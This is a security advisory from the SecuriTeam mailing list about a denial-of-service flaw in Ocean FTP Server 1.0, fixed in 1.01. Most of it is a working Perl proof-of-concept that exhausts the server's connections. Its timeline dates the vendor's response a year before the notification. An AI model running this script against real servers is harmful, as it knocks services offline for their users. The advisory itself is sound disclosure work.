[EXPL] Ocean FTP DoS (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Ocean FTP DoS (Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://www.codeocean.com/>  Ocean FTP Server "incorporates many advanced 
features, all of which are accessible through an easy to use interface".

A remote user can open approximately 106 simultaneous connections from the 
same host to cause the Ocean FTP server to stop accepting connections.

DETAILS

Vulnerable Systems:
 * Ocean FTP Server version 1.0

Immune Systems:
 * Ocean FTP Server version 1.01

Exploit
#!/usr/bin/perl
###############################
# GSS-IT Research And Security Labs #
###############################
# #
# www.gssit.co.il #
# #
###############################
# Ocean FTP Server Ver 1.00 Denial Of Service POC #
###############################
# Use This PoC For Educational Purposes Only #
###############################
 
  
use Socket;
  

if (($#ARGV) < 2)
{
print("#############################\n");
print("# Ocean FTP Server Ver 1.00 Denial Of Service POC #\n");
print("#############################\n\n");
print("Use : \n\nperl $0 [Host] [Port] [Sleep] \n");
exit
}

print("#############################\n");
print("# Ocean FTP Server Ver 1.00 Denial Of Service POC #\n");
print("#############################\n");


$host = $ARGV[0];
$port = $ARGV[1];
$slp = $ARGV[2];
$proto = getprotobyname('tcp');


for ($i=1; $i<110; $i++)
{
  socket($i, PF_INET, SOCK_STREAM, $proto );
  $dest = sockaddr_in ($port, inet_aton($host));
  if (!(connect($i, $dest)))
  {
   Slp();
  }
 
}

print("==> Unsuccesful <==");
exit;


sub Slp

{

 print("\n\nServer $host Has Been Successfully DoS'ed\n\n");
 print("The Server Will Be Down For $slp Seconds\n\n");
 sleep ($slp);
 
 print("==> Killing Connections ...<==\n");
 for ($j=1; $j<110; $j++)
  {
   shutdown($j,2);
  }
 print ("[#] Back To Work Server Up [#] ");
 exit;
}

EOF

Disclosure Timeline:
17/03/05 - Vendor Notification
18/03/04 - Vendor Response


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> GSS IT.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.